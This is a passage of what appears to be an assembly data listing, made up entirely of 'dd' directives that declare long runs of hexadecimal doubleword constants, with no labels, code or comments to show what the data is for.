52ABC69Ch, 52DB64D0h, 0E47C9685h dd 0FCABEF0Eh, 3A54EF3Eh, 3B03F476h, 0E044FF68h, 0BA64D813h dd 8614F12Fh, 0B62CFA77h, 0EE968C77h, 4D8666D0h, 30BDF6AEh dd 38BD87CFh, 0A3965E64h, 4BA57DD5h, 0E9D975A8h, 0D5A7BF74h dd 3470D860h, 9C71D79Bh, 4869D7F1h, 414A27Ch, 85A069A1h dd 4CFBA47Eh, 0A4EB5CF2h, 8BDBF108h, 74CA7578h, 9607FB17h dd 4F6BC775h, 24BCBDF8h, 454FC041h, 20DDA3CEh, 2CB7E948h dd 0DBFAD504h, 55FDE7FAh, 0A60BBF20h, 4E3BFC5Ch, 0CAF6E572h dd 0A9853C53h, 38953D1Ch, 4E6D94D1h, 1CABE1E4h, 0BF2F74DCh dd 228CA077h, 90FBFC8Ch, 0FCB4C4C9h, 3754F33Dh, 2AB7827Ah dd 0D5058272h, 0CADC85CAh, 3B24F47Ah, 0A2B79E40h, 0B45F6E3Ah dd 0BE7F5748h, 940882C5h, 0F10A04D5h, 717517E0h, 0A9D10B66h dd 42F880E7h, 7E4508CBh, 47FEF8F8h, 0B24D167Fh, 0B603325Bh dd 0FE0E379Eh, 0AAEB4DDFh, 566F74BDh, 8893BA17h, 36AA1F14h dd 51BA1506h, 38FE1953h, 0DBA079FCh, 0C73AF4DEh, 49B16457h dd 0D2304E24h, 0DFD35C4Ch, 0D755F025h, 0C4AEAB44h, 0F9357D95h dd 4FCE0409h, 0C9E0755Bh, 8D8BF42Ah, 0E2B5FD57h, 486CB57Ch dd 0ACD15468h, 0F5AA88C1h, 0DCD80F04h, 5082FE85h, 9AA1DE67h dd 0A6ACF514h, 1132AAE0h, 0A5580454h, 0A6602DB2h, 0B637CD7Ah dd 63F23510h, 43F444BAh, 7420824Eh, 0AE5EDC80h, 0EB9D01ECh dd 5CA6BB32h, 0C9FF436Ah, 93AA2C84h, 5F551431h, 0B16E23D1h dd 0ED202A6Bh, 8F3CFAA6h, 0D898487Eh, 6305C129h, 79F3C52Dh dd 0AFD9CFFFh, 110EFFFDh, 3EAE80EDh, 0C7E4F42Eh, 52E02861h dd 71C5B738h, 41B2C468h, 1CF5C1CFh, 0F9B5071Fh, 45CE1D2Fh dd 0AAA99202h, 5C78F17Eh, 23AB9E9Dh, 8700CBFEh, 0B72C0151h dd 87394177h, 0E53FD796h, 8B5D13BCh, 46B05FA8h, 8A7D7BFCh dd 0C2D10424h, 516382B0h, 0C34C3360h, 9C65ED5Bh, 0DBB4B2C7h dd 0EDBAF8E3h, 1D86D8FFh, 71B2B188h, 0C6AB6379h, 45493D3Bh dd 0C7AB8B02h, 0C838F34Ah, 2BF6B6DFh, 0C32DF62Ch, 41DE663Ch dd 69321207h, 5392FC76h, 0A3638F4h, 0C402E6B6h, 81AE8321h dd 3347A81h, 9F30B6F2h, 0A51FF0CFh, 0C8B8D4F1h, 5D865C2Eh dd 6EC22AD0h, 4D354CC0h, 0DFCCFBF9h, 27459858h, 0BF37CE98h dd 9B8BC7AAh, 1E9D103Bh, 0DF6DD8B5h, 7B152DACh, 37B5EE79h dd 0B30D7A77h, 42BF0CD1h, 0EC91C775h, 94FAFE57h, 47FF4DCFh dd 2149FCB3h, 0E7602A82h, 0B1BD380Bh, 0D8682B52h, 0B1AD8E7Ah dd 0EAB5447Ah, 45058038h, 837AFA53h, 17DFE8EFh, 6980C644h dd 483EDCABh, 0BD7A0453h, 283DEF08h, 0A67B3727h, 4E32889Dh dd 21DF9A95h, 7D4AF314h, 4DF82B9Ah, 2F4890B3h, 0B69FCA78h dd 67BF78B7h, 0EC3E9F18h, 7C943237h, 7003DD95h, 0E30F0D13h dd 99CB9A7Fh, 499080FDh, 38ED6895h, 35967E67h, 3BB3F6E8h dd 6F906160h, 176362F7h, 3AA3F36Dh, 69AA9E58h, 49DB155Bh dd 0C0D4850Bh, 0B177D206h, 0DFB53364h, 0A9591492h, 0F22CF4A3h dd 47F03576h, 0A3E9426Bh, 0EDF4D518h, 915EF877h, 1E2CA5FBh dd 54BA1060h, 4F6847C9h, 0A49B71FBh, 66BCC68Fh, 0EC55A4B2h dd 4C356A63h, 1B34DA7Bh, 94E7CF7Bh, 1CAEC4A8h, 5AB24680h dd 8E1F468Dh, 0C5F844B7h, 0E05AF97Ch, 0F6AC6456h, 40537538h dd 0C42D0E92h, 5FC40B77h, 0F2469519h, 0C82C7262h, 0F67D2C64h dd 466D64D8h, 0D4D7E213h, 0EAB76450h, 0F83BD5FBh, 0D6BF944Fh dd 55B352FFh, 411AF8B8h, 3A7ED9CCh, 0F0E3E67Fh, 44D975DDh dd 7C027782h, 49B7C0EDh, 929B33C2h, 705FE13Ch, 79E7D24Ch dd 78B538FFh, 0B8C3FB53h, 4689A47Ch, 44DD74E6h, 15AAEE68h dd 0C72EF507h, 169783FDh, 487DA440h, 17130CE2h, 0A0767DF9h dd 441B0B8Ch, 0C6B687DCh, 1446D58Bh, 0C5E9295Eh, 0DBA8F68Ch dd 362CFC90h, 7C48C762h, 0C509B4F8h, 31C50C01h, 0C7A18FC9h dd 5AD48103h, 0D428BB5Bh, 17EFF62Ah, 0C470A4BDh, 0E75AFA16h dd 0F574DDE4h, 0E4CBEBB8h, 0DE684A6h, 646C686Bh, 66A1CB2Bh dd 9A35235Dh, 57AADE84h, 14D7E2CCh, 0D719BD99h, 0C53E8D53h dd 145DE75Ah, 9F340144h, 0C4BC86ADh, 62A4FD23h, 0B7F7F2E7h dd 0E5226050h, 0DE16ED5Ah, 7FF207BDh, 9E1608B1h, 0F44A6C7Dh dd 2AE2FCE0h, 6D1BB673h, 7CF35530h, 26F8E6B1h, 42E77106h dd 86A43A96h, 50B8BF7Ch, 753FB418h, 7C3ED4D9h, 81B716EAh dd 0DCD79A38h, 8EBC7DCDh, 0E47ADED8h, 5944FF4Bh, 55095483h dd 7D8C4B8h, 0F812CAF8h, 4521ACE4h, 0C101662Dh, 0B8C47DC8h dd 0B9891BF1h, 0B668DA4Bh, 0B8A243F7h, 56D880F6h, 2681842Ah dd 5A02C13Ch, 0E0A576C6h, 0A1ECC096h, 0F48AB05h, 6CDA7DCBh dd 37A03050h, 0B7FEBE80h, 7550220Ch, 241C8292h, 0EFCF44E9h dd 88D35815h, 8CB3A3A9h, 0C677A63Ch, 43A42342h, 29288519h dd 0B0A51684h, 7E8D469Ch, 30C37130h, 0FDA3694Eh, 60C3076Dh dd 7C0559C3h, 91C1E93Bh, 9F195530h, 19A686C4h, 0EB2E91CBh dd 0D2482428h, 0DFBCC304h, 0D0809D84h, 0B4787D31h, 2AEB7861h dd 9A1FA956h, 0F53AC683h, 0FAE43133h, 0BDA045E4h, 6763B2C8h dd 0F423C295h, 0E98BF898h, 0CA2BE585h, 57BBF78Fh, 1A1F047Bh dd 741C8500h, 294C561Bh, 44E4D70h, 4FCC860Ah, 9DBF917Bh dd 1CA847C0h, 0FAF9AD3Ch, 0F9335766h, 75AD6593h, 0EA1F7890h dd 0CD2C44E7h, 42387F82h, 0C22B7F9Ch, 10EC9077h, 0B9FA1DF2h dd 0FEAF700Fh, 8B3C5DBAh, 90AA79CAh, 4024B383h, 71A77102h dd 0BD1069Ch, 74E0E1E2h, 0A1A056FDh, 15DA3DFh, 0D73A0894h dd 5AD193Ch, 0D2700AD9h, 0E4CA6E3Bh, 0DD19773Eh, 547CD798h dd 0A4938163h, 0A4DBF027h, 9F013AFDh, 39E70C98h, 0ED68590h dd 533E938h, 7E79B528h, 40A015D0h, 0FD3C91EEh, 0D8D160E9h dd 3F2344EDh, 0F8E8FDC3h dd 7532B124h, 7B36199Fh, 0ADCC49F9h, 1A9A663Dh, 8E866CB6h dd 0C488D999h, 0FD45F9F3h, 0B514DCE3h, 9EA568B1h, 430B96EDh dd 0C172210Dh, 28CCB43Ah, 0F1D9026Ah, 0BAA81405h, 495F438Dh dd 0A306DF91h, 244384C7h, 0E1FE574h, 0FC14DF3Ch, 0E7C212C7h dd 7B6C5DFEh, 18A443B6h, 78ECC3DCh, 1925C492h, 0D6D22E6Bh dd 0D85C86CBh, 13A56FF9h, 0D8FB3715h, 75AE532Eh, 69624EE8h dd 8CE511Eh, 20BCB308h, 3D031E2Ah, 22C5236Fh, 340DF04Eh dd 696304CFh, 1B0F83Fh, 50C0755h, 2BC4F6FDh, 0DE4CB4DCh dd 18618913h, 9FF3B1A8h, 0C4164151h, 87A2C96Fh, 523BA3Ch dd 26B98B82h, 2AC6A24Eh, 0DBB688D9h, 77C4EED6h, 41728BDCh dd 73125997h, 9C84C281h, 7A2745E2h, 0B41F70ABh, 0C63D7867h dd 0BB1E5C60h, 0FDBFB333h, 589C4D28h, 8026DDFFh, 58CAEB99h dd 0DB6DE9FEh, 794C120Dh, 0DFA832CBh, 94FB1467h, 3A80B693h dd 67621EE5h, 8E022621h, 5D4439FEh, 2F02839Ch, 2496D381h dd 8CB999F5h, 67E228FAh, 89C82430h, 9F61677h, 507D41C4h dd 6FA6FC0h, 2AEA581Eh, 35AEF4EFh, 33CF8DE8h, 8318C500h dd 24D157FFh, 22EF7176h, 28553196h, 56CA015Eh, 43ED5DAAh dd 9F46118h, 6D28B44Ah, 229196Ah, 0E1E85CCh, 8910257h dd 0CB903A23h, 6290D09Ah, 1EF568F2h, 16224D01h, 0C8B1751Bh dd 33F6B6E0h, 670F5B43h, 8CE26388h, 0BBFEACD4h, 10EDC5C1h dd 0DDB8E3BEh, 3EE8AA87h, 660F77B1h, 92EE6BAAh, 0C178815Eh dd 91A9215Ch, 2083D2Ch, 0B27D6D9Ch, 0CEB404B2h, 7053EC69h dd 0BB66F2F9h, 0B39054B6h, 168FF544h, 0C1B7233Ah, 0CD75C1E0h dd 0D9ACC573h, 0A29C9B3Fh, 249E767Ah, 6D741D0Bh, 0BBEF735Ch dd 0DBE6576h, 2BABBD15h, 0F6F3AC9Ah, 74D5BD22h, 0AC2F2943h dd 17B2734Bh, 305B4E39h, 4C289C18h, 3B115D77h, 0D71A9F92h dd 0B130B46Fh, 0BAF4AB64h, 0B47DC0B3h, 716C4ED1h, 36D48525h dd 0D00F91CAh, 6F176D8Ah, 696D7EFCh, 0A832B5FDh, 0C0E41656h dd 9C432435h, 431D882Eh, 7593640Dh, 3AD346AAh, 56AC628Ch dd 0DBADEEA0h, 0E989AB10h, 212660C9h, 0B96F54Dh, 27AD97EDh dd 0D282F69Bh, 0C3BA7446h, 0AA520B5Dh, 0C4DE6F77h, 0A9468917h dd 63677E7Fh, 0CFBD6815h, 0E934F7DCh, 0B90CBC3Ch, 0BC6409D3h dd 0C764EB5Eh, 4A98A06h, 0C9F2B562h, 0B17C0A3Fh, 114A84F8h dd 96DA11B4h, 528DD750h, 0C50D71C6h, 900A133Eh, 71ACB947h dd 3FAC63EAh, 0C046D0FCh, 0D2E5B4E1h, 3A3F1E68h, 1CF67CF0h dd 0C741BF1Ch, 0D89AF35h, 0B00C41F8h, 0BA347757h, 75A36506h dd 4B220280h, 4FA4CCC0h, 3898C101h, 5387D110h, 38865820h dd 0B0EBF8F4h, 21AF6ACFh, 0DDCD1F24h, 0B53D07EDh, 0C6AD01F8h dd 725C737h, 48A833EDh, 658B6FDFh, 2B1A3818h, 0F7F3E896h dd 75766556h, 1D658497h, 7AAC031Ah, 50AF7D2Fh, 3D8260DFh dd 5F74690h, 0C7A17605h, 0A292068h, 40F65A38h, 1127ACADh dd 0AB3D0C91h, 81278C28h, 9DB6E68Bh, 4A470A3Fh, 8132DE10h dd 7E85FE9Dh, 0B996C3F1h, 8725B3DDh, 687680DEh, 3BEBA316h dd 0E6FBC622h, 58EC1111h, 0F233ECFAh, 4B093FEDh, 42AC6906h dd 29C92868h, 6E6A6AD1h, 0ECA8F7CDh, 72B0EEB1h, 1F3877D0h dd 83CE774Ch, 0E2307F26h, 0CCA072FBh, 0C4CCED04h, 0EEB1BC4Ah dd 0BF6471Dh, 682DCB11h, 0F021AFF9h, 0DA9738D0h, 0C8AEA34h dd 4AA1A648h, 0C883B477h, 0AF21931Fh, 0CF485A35h, 0DE1887BDh dd 0F2167FEDh, 9481280Ch, 761FFC43h, 0E809FB0Bh, 0C223B1FCh dd 25FAC5DDh, 0BA316CBCh, 0C22CB4FCh, 0DF63A3E0h, 0CF68CA14h dd 5B307CFCh, 0F867DDDEh, 5347906h, 0C503A33Ah, 4B0D1B5Bh dd 7A2CB5F6h, 3243DC6h, 0CB349D27h, 5C3CB36Dh, 510FB71Fh dd 2BFC15ECh, 0F19C6DEDh, 7B5003BEh, 0C1A985D4h, 379873EBh dd 601942E9h, 7124FA22h, 695B8182h, 8021A5F9h, 0F8A9C60Dh dd 0B5F7CAE2h, 0BE0FE38Ch, 0E35468AFh, 74D765FAh, 0FBE151F6h dd 11A0A103h, 9CE16E3Ch, 0A48A3A8Ah, 8EAAAA89h, 0DCDE6025h dd 0C95ACBD5h, 0F422F30Fh, 0C2A27864h, 0C13D4940h, 1D7B4E3h dd 0BE297C24h, 239EAE32h, 0B4B4856Dh, 9895F862h, 0A765353Ch dd 0A6E6F6D0h, 0E3ADCE7Ah, 0BF6A07C6h, 0DFD4C9EAh, 0A3F0E4F9h dd 0D146F681h, 897E7C47h, 4A684532h, 0DF053349h, 0C0311E50h dd 0C82A7061h, 0C923FC2Eh, 888A8166h, 7863C396h, 0FC807DDFh dd 0E790CDF5h, 91580DA5h, 0B91A2649h, 0FC3179D5h, 44E28E6Bh dd 42745E47h, 0C30BFC96h, 0B5AFF6EEh, 2B807E62h, 0DAE4E32Dh dd 54DAD269h, 944C5D8Dh, 9F93843Ch, 0E09BF4ECh, 58A5B766h dd 0E025C2F8h, 0F830C579h, 6EC65C84h, 4529FE16h, 0FAE7B7A7h dd 0C0DB3DD1h, 0ED0977h, 680DC19Eh, 3C2E6B93h, 5B850267h dd 918493C5h, 6A87BE64h, 0FF30906Eh, 725862F1h, 7EC24610h dd 39AE90C3h, 6B38FEE1h, 4225A8E8h, 77F3B614h, 0DA14B9E0h dd 0C3A12404h, 0A5224363h, 0D8B881AEh, 0E201AF2Ch, 8B6403C8h dd 0CE20AB67h, 5AD67B84h, 0FF187793h, 2F172B34h, 8D45B4FDh dd 0D31B8035h, 0C7F480A5h, 4F4C7EEFh, 2C3D121Ah, 35A284CCh dd 0DF19F7E0h, 0A64CE21Ch, 7D08C014h, 57AD1AA9h, 0B32CAEF4h dd 0EB05160Bh, 5C753E39h, 0CE8CBF4Ch, 99E4D363h, 1695275Dh dd 9C4E4692h, 23728CE1h, 19857928h, 0BD5F1901h, 0CD0173FCh dd 0DBB580FDh, 83AC941Bh, 3E552713h, 6947851Ah, 54C72F9h dd 6EC10F18h, 0C3F34FC7h, 68324E46h, 6848244Ch, 0B48724EEh dd 8FC1E099h, 0CB0164C3h, 34387735h, 2FCD8B3Eh, 0BFED0B31h dd 7665C8F4h, 20A9A79Eh, 0C90C9135h, 0E7CEB397h, 570B92A7h dd 0B796FCC7h, 0DF3E526Eh, 7C4927EBh, 3038882Bh, 2B6933EDh dd 1CD0BBC5h, 0D1BA77CBh, 0C73B30E1h, 2F62706Bh, 0E857EAAh dd 90E45129h, 1A183542h, 53000F7Ah, 771A24E0h, 5E6BE255h dd 0C8EF7E3Eh, 7E088126h, 34F75572h, 3C08288Fh, 0EC787F02h dd 0DA254D0Eh, 0EC052DEDh, 0F8D185DBh, 48E7AA1Bh, 0ED7731FEh dd 0C7345415h, 46455618h, 4C81CE33h, 7A53D93Bh, 42D3F2Fh dd 83D87CDBh, 3AAE61D6h, 4B02E8CAh, 0A66F578h, 29CF6A81h dd 0A92C91A6h, 0BBECDD1Ah, 3438D91Ah, 0C29864EFh, 446ABF0h dd 8AEDF15Dh, 0BBD06A21h, 0A52EAB1Eh, 0B84CC699h, 4F71F31Ch dd 0CCEF5523h, 0CFD5FBBDh, 0DDA5C2EAh, 343D64BEh, 0E7253E57h dd 0C8AC7566h, 0CA7684EAh, 0C306767Fh, 0B4D7CAE0h, 10DAB39Eh dd 69151D2Fh, 0FE022ED9h, 45E14333h, 0FC883DBAh, 0C4D15F12h dd 65DF655Fh, 283E884Eh, 45FB2837h, 0A5227543h, 9BFD77E8h dd 0DAFD013Eh, 0FD066603h, 7BF55706h, 0F6D96736h, 0E48A6B1Ch dd 69B1D51Eh, 0A481025Ah, 3824D538h, 0C45B56CCh, 0C36C90E0h dd 0C80480C0h, 0DF28C7C8h, 2D299034h, 0CF77570Dh, 65266673h dd 46D12D84h, 2AF8DEDBh, 625E4FDEh, 2307F5D4h, 5CDF2406h dd 0CB8EF244h, 2D095CEBh, 0FF03DEC8h, 31B9A17Bh, 0DB13E5DFh dd 75F15C07h, 0F5656CC4h, 0C90076D7h, 0EAF86712h, 59D8E246h dd 24DE74BCh, 252C4547h, 1D6CBAF3h, 233447E0h, 4C5A1E4h dd 74ED7E81h, 36936C4Ah, 700F4BAh, 61E391B1h, 68A232A0h dd 0AE1BA367h, 73B2750Fh, 0BBADFFC0h, 0C14FFD0Dh, 8A9488D3h dd 171EF6C3h, 94520A8Bh, 48B544CCh, 7A24BA27h, 48340596h dd 75ACC5FDh, 374B32E1h, 259FAA4Ch, 0B2F47DD1h, 0F6CEDAF9h dd 6811FCACh, 949FEECEh dd 7B26753Ch, 7BFFA575h, 7DF6D452h, 7D5981FDh, 0F326E9F5h dd 0AD3A362Eh, 40EC35A7h, 0C0152C62h, 0B8D480F4h, 32573861h dd 0A9DABD32h, 6A4E1D68h, 6AA72F92h, 719DF8DCh, 2E1A01DFh dd 4C558CF5h, 9D209F4Bh, 35D2B0DAh, 4A3477A0h, 40AF7E81h dd 0B80F853Dh, 7E2BC4D1h, 66463F1Ch, 0C8A16543h, 0E1E9613Ch dd 780451D6h, 27165763h, 4EAF57AEh, 8A8CB302h, 0B6E90984h dd 0D5BBF5F2h, 0B8136161h, 38D3B768h, 2B9B2AD6h, 0ABE63FE3h dd 6AFD2744h, 0C010B106h, 43F96218h, 88AD5F8Ah, 697971CCh dd 0DF5473Eh, 3B489D1Dh, 7D9590A7h, 2A9D97EFh, 0A2B0CFEh dd 4EE15D0Fh, 9F5977Bh, 0C7F957DCh, 0D264B278h, 0DCB4E033h dd 0A785229Bh, 50A5FEFEh, 42EE4303h, 8AA073CFh, 1B0B4887h dd 0D5F0DE9Fh, 0A03E324h, 0FDAD2EE0h, 3C7D0078h, 457643D5h dd 6F079FBDh, 0B4EB1E3Fh, 77F1B79Fh, 8A7BDF53h, 9C0F81Ch dd 3D691DF6h, 0BC17C50Eh, 3CD1C4D6h, 0C9746BE7h, 0B3203121h dd 2A3001F4h, 0F865BC9Ah, 5A0EB864h, 15DA02FBh, 0ED450861h dd 451CAE18h, 22F2188Eh, 0F6EC8084h, 0B697E126h, 9CF38001h dd 0AC366515h, 56640266h, 0AC7FD0h, 0E025ADC2h, 66299114h dd 0D03DD2E8h, 6BC431EDh, 3FE30F7Ch, 0C7E68863h, 0AAD915D1h dd 4B40C743h, 0C55A5DC6h, 60CF9378h, 0CB85009Fh, 0D551E506h dd 6779269Ch, 2ACC41D3h, 9CF86D0Eh, 44CBF1CFh, 67AC243Fh dd 7A4935E6h, 0FFD885F9h, 0D42290E3h, 8C271999h, 7C53BFFDh dd 0A989B241h, 6650269Ch, 0DD231C77h, 7EEB6E96h, 0C5ED2A37h dd 4B7DB88Bh, 166D99CEh, 484A5D5h, 0C4BE62Eh, 3928638Ch dd 549873Ch, 7B0CDD7Ah, 0D8D1553Fh, 2F319145h, 0C3F41352h dd 0ACCA21E3h, 0BA0A84A7h, 0C264B3D9h, 8B81B721h, 0CBD1B6AEh dd 6EE526A2h, 88C02B67h, 0A24A7321h, 0EFDD066h, 29167FFBh dd 768BFEBEh, 789E9F64h, 0D6B17AC1h, 0E504BA4Bh, 0B3A035FAh dd 0E8DCB4B0h, 0A4B4AF8Eh, 49D3EDB9h, 78909B3Fh, 3CCECC5Ah dd 0B6FBDBFCh, 55E2527h, 0F93ACACAh, 0F8EC3B0Ah, 0D656B582h dd 3EADBED1h, 9C73F4A0h, 458C58A8h, 0A83FFD5Eh, 22AE6B60h dd 75287865h, 90BC47EAh, 1589B21Ch, 7F250120h, 68E0456Fh dd 7DF3FECEh, 72001ABh, 5DC28B04h, 68DAB46Ch, 5BDE636Dh dd 0DBA5FEC8h, 7066136h, 68AC9146h, 54CF0ACEh, 0A2628179h dd 666C94E8h, 0B722C2EEh, 4571CABBh, 6270348Ch, 0DA046975h dd 0BF7CD4A3h, 0E164BFEFh, 655E811Ch, 0C6F25BD6h, 0B2CF91E1h dd 8758B004h, 0ED86001h, 3B6F5F5Eh, 989F419h, 162C50EEh dd 0D806621Ah, 6A2842C2h, 0C2011CCBh, 850FBC87h, 1B72435Ch dd 0B34D10E8h, 51EABD4Ch, 1C0FCA7Dh, 7AFAA8Ch, 0B6897922h dd 3A571F2h, 1FF1AAEEh, 12F2B75Ch, 0F8782E1h, 0E62152Bh dd 0CB16FF56h, 83949EA8h, 8D9E0FBh, 6AF4D827h, 1D9265E8h dd 0F5FB1CF9h, 0B0B9D4Eh, 5A24F433h, 0B39F627Eh, 110CF6A0h dd 2B320867h, 4EA060F8h, 699B6191h, 8C0938Ah, 33FC8819h dd 0CBFF1CE4h, 0DDD4E0DAh, 402A194h, 0E01C7F35h, 9F307829h dd 0C4CD602Bh, 0A0CB182Fh, 202BF94Ah, 5C5ED2D0h, 0A14C07E4h dd 7DF46804h, 3C42D2F7h, 0B10EEC2Bh, 0B7F3B12Fh, 5E815D94h dd 2A1BB2BCh, 0F8D5F9BEh, 0C7C91757h, 6D0E299h, 0D3E06861h dd 94A036EEh, 342C49FDh, 7145A36Bh, 0D94F3AB1h, 92059861h dd 274980F8h, 0E74D1EA9h, 30F5013Bh, 4B8ABBD8h, 0DD3A3546h dd 382A3881h, 0C9701EF4h, 0E2C255BAh, 16F14BEh, 0A8876D22h dd 0F2C26EF5h, 0D09DA8C3h, 115630BBh, 0AD2AD408h, 0AA1B2397h dd 195D725Ah, 4E41C8Eh, 86C741CEh, 2C12E60h, 0AAD11ECCh dd 0DE4D18CCh, 457DC80Eh, 832BBD25h, 75AF68F4h, 62CE502Ch dd 0FC470B50h, 0F144B1B5h, 0BAE675CAh, 39B57C03h, 63A01DFBh dd 0F260BE68h, 0DFC4A9C7h, 2616E8C9h, 4BDB308h, 0C43F2097h dd 0D849D813h, 63A1DD4Ch, 17FE94B0h, 43E6CE1Fh, 5469A802h dd 704020CDh, 950DE568h, 5BE22500h, 59AFDF24h, 0C5B19EBFh dd 46EDEA81h, 59DE14C9h, 33828575h, 6A071FEh, 0E535D5AEh dd 0E95C4008h, 990A427Dh, 0E2E068A7h, 17A97639h, 20BBD9FBh dd 9F223BA1h, 0FA8A776h, 3FAE72C2h, 0BBA7F7FCh, 43C812C7h dd 0D2D06FFAh, 6148F992h, 2104AB75h, 6B0ADD00h, 49E7FABEh dd 0C4AC6F77h, 0D2D2136Bh, 882A9DCDh, 4D3AA733h, 9C0CB23Fh dd 0BD6C65A3h, 21D89F8Ch, 2CAE14ABh, 6F5C6145h, 0C1DD9C38h dd 0E3ADA04Bh, 4E0D34D3h, 3A1C1F67h, 50307420h, 9F385FC8h dd 0BDF3F171h, 9CC375F8h, 1961EE9Ch, 0D6A06E66h, 93B3F132h dd 48152C76h, 20939E6Bh, 5D32C499h, 0C974641h, 0A5EFC888h dd 0E3C4897Dh, 40F7796Bh, 0E38B28Ch, 0F7A02ED9h, 79F9FD24h dd 0CF303C96h, 0CDA04E8h, 5C481061h, 131C6E52h, 0F0E8D7F6h dd 62F7874Fh, 0C65FB3EFh, 3CD0BDDFh, 3A0B44D3h, 275E64F0h dd 7F22FFE2h, 3325E730h, 0C5A42EE6h, 0F6049DA9h, 39CE8623h dd 58E24222h, 731C0D64h, 22791E46h, 9CC80CC4h, 6967FC03h dd 324B7A88h, 0DD5094B1h, 549B73ACh, 0FF1C62Ah, 1646CAEh dd 0F221425Ah, 0B7164218h, 0D1F34C2Fh, 7D1A3A3Ch, 26A1E4E5h dd 5D11DB38h, 10AC484Eh, 0A80D6A0Bh, 0A96E4807h, 0D58EBD5Bh dd 3916655h, 0AAF2449Fh, 0EA848366h, 0D909ECA3h, 451DADBFh dd 7497C991h, 95A50426h, 0E04980E9h, 28188B46h, 9CBEB506h dd 65C911C5h, 68EC03F9h, 0FDD203FEh, 1D3F90E2h, 0E3C54616h dd 0BBFED6E6h, 9A20D62Fh, 789F11D7h, 7F05666Ch, 33E26A9Ch dd 83D910FBh, 0ACA4476Eh, 9615BBFDh, 0A2CC0ECh, 9945756h dd 94490407h, 93AA8Ah, 36A3C867h, 5E77DD96h, 222467BAh dd 8E3FB3AAh, 3A2E504h, 0A3EBF4EFh, 4C2ACA46h, 54317F06h dd 74714EFFh, 6A6E923Ch, 0D05A84E4h, 302B472Ch, 1B10C5DFh dd 0FFA0953Eh, 223D53B9h, 20FCDD4h, 9764FFB5h, 65249415h dd 45D86EBh, 0B9C7C19h, 32C67721h, 0C8A0A815h, 65E6BD25h dd 7C137D27h, 28057BDEh, 0D40563FFh, 0D6AC94BDh, 0C1466C7Ch dd 0B0D77FFCh, 0C23565CAh, 0FBFBC4C1h, 0FAF0B667h, 8F677D61h dd 0E77CB575h, 28618049h, 5F6D377Bh, 1FA5604Ch, 0EFD1314h dd 3CF35AADh, 4C9411FEh, 11E5EEE7h, 5056C9C1h, 74A901F9h dd 149CC2DDh, 0B34D2EDEh, 0E4B9C17Ah, 9CC41A1h, 0A003EDDFh dd 8920239h, 0A0CF7FB3h, 7337D723h, 8EAF469Bh, 0C7DCD5B2h dd 0AF2A7352h, 7306172Fh, 0F59707E1h, 13A8052Ch, 0B9D1110h dd 73AC740Fh, 307F81E6h, 16120932h, 0F7C8C550h, 0ADFEEFBAh dd 0ED53DD7Fh, 0C560B4D4h, 94307436h, 7F2FAF93h, 6DB5E387h dd 0F539E238h, 23F9A733h, 9DD5553Bh, 0B595EB51h, 0B6F8DD84h dd 0E5F03BC0h, 1C8BCE78h, 31F5FEDAh, 0F743A112h, 0FB973208h dd 42035DC4h, 0A78649Eh, 0D922C369h, 7AD16A84h, 0EDB136Bh dd 0A15D712Ah, 0C23DBF79h, 60BD0AE3h, 0F8A69D8Bh, 0C70C6FD3h dd 156686F8h, 17507577h, 2732F32Eh, 0A3607704h, 0F095AAFh dd 0D48675E4h, 0CEF21FEDh, 69EB243Ch, 0B811EB46h, 5EDCE1C4h dd 0F61EA92Fh, 221E31C3h, 0DDFE1868h, 9FD1D9C1h, 97319397h dd 7B54D332h, 0FFD065D0h, 0FB867C49h, 0A467848Ch, 19BB0419h dd 18CCACBCh, 4EF7A7Eh, 0C16E4A49h, 782123E2h, 0D4CBF7BAh dd 545255C3h, 0AC8E4508h, 5BB6BAD9h, 2F4A352h, 26BA05A5h dd 0C6E74AB6h, 720E0B75h dd 0F306C8C3h, 6C049FC8h, 0F056BF56h, 6F8E10A4h, 0D7709DFAh dd 0B9566142h, 4C3BCDF6h, 0B1373832h, 0D0A550AAh, 8D3C706h dd 443A3D27h, 7BE2045Ch, 9AD80092h, 0B63105C3h, 3FE9256Ch dd 6AFEB924h, 12737C0Dh, 24C4C47Ch, 3CD8C5A9h, 51A201F1h dd 362EDC21h, 0CEDCCAF1h, 7F1617F8h, 0C7D117B1h, 390A2EC6h dd 6A20641Ch, 609BB5F6h, 0B4EC74D1h, 72F6EF9h, 1E0A9CADh dd 209E786h, 0C22E9F33h, 0E8D4B8E7h, 0C30FB275h, 6488C437h dd 0BAB7ACCBh, 0F9A0BB18h, 3371D027h, 440407C0h, 99D16213h dd 0AC2C7744h, 65333E65h, 8B30B7A0h, 0E72F40Eh, 0B2BA900Fh dd 0C0CD495Fh, 0C4CE282Ah, 72D6D50Bh, 3720AE92h, 1CF5B5D3h dd 0F0916298h, 0AA65B6B5h, 77605ACCh, 8475354Dh, 0A7F3B1F5h dd 0CB2EB766h, 684D999h, 0A56D03Eh, 0D27BA8B3h, 6F562A66h dd 0DC9AAB54h, 0C3A94923h, 3EDEAFDh, 0B3D44938h, 384484DBh dd 0BCA8E7B2h, 44C978E8h, 54662AE3h, 0CEE8060Eh, 5C253232h dd 399D6CCEh, 0C81DF578h, 3DB05161h, 42A2B5Ch, 67005968h dd 7F033D0Ah, 0A1BD2A53h, 0AD8E7641h, 826F1C66h, 7C2F74DEh dd 2E949478h, 14C74105h, 795B9CB5h, 0CF7662FFh, 812B56F4h dd 0FF5C206h, 29844DF7h, 2A0AD440h, 7886714Ah, 0B3F6B948h dd 809B68F5h, 8EA2510Fh, 1589D4F2h, 36694EF5h, 0D2F361E4h dd 628FE504h, 0F1F200CBh, 0C4D29624h, 0C33043DFh, 5D6E1DF0h dd 10D54944h, 3037BCEBh, 0D37DB6A9h, 95B13945h, 160FED54h dd 9D0ABC3h, 0FD7972FCh, 3CA5C9DCh, 4B207A8h, 7D747CC8h dd 895AC524h, 66B10B1Ch, 3210607Eh, 98CDF11Ch, 0D94D3560h dd 296EDDA0h, 2833FD32h, 5B90694h, 0EF725AE5h, 351494CBh dd 0A24CB4C8h, 98D1674Eh, 0AF9DF13h, 984E918h, 0F18044AEh dd 0C055F537h, 6C53BAFEh, 98D8E87Eh, 0A8072A5Dh, 5F9AF7Fh dd 25E4A08Fh, 0AE0EAD43h, 145BBFFCh, 0F6F2BC88h, 6CB1B2ADh dd 0F6FAB6A3h, 0FF275F9Dh, 0DB04B13Fh, 9CF67ECAh, 0D6F8AF2Eh dd 7B25451Ch, 4BBAB0Ch, 503C8363h, 0EDF4C11Ah, 0A0833Bh dd 7CC1842Ah, 0EE57FBh, 0DDA5EE7Eh, 765AAF94h, 0C846E943h dd 0E2B2EC7Ch, 0D638973h, 0DBEEBB5Dh, 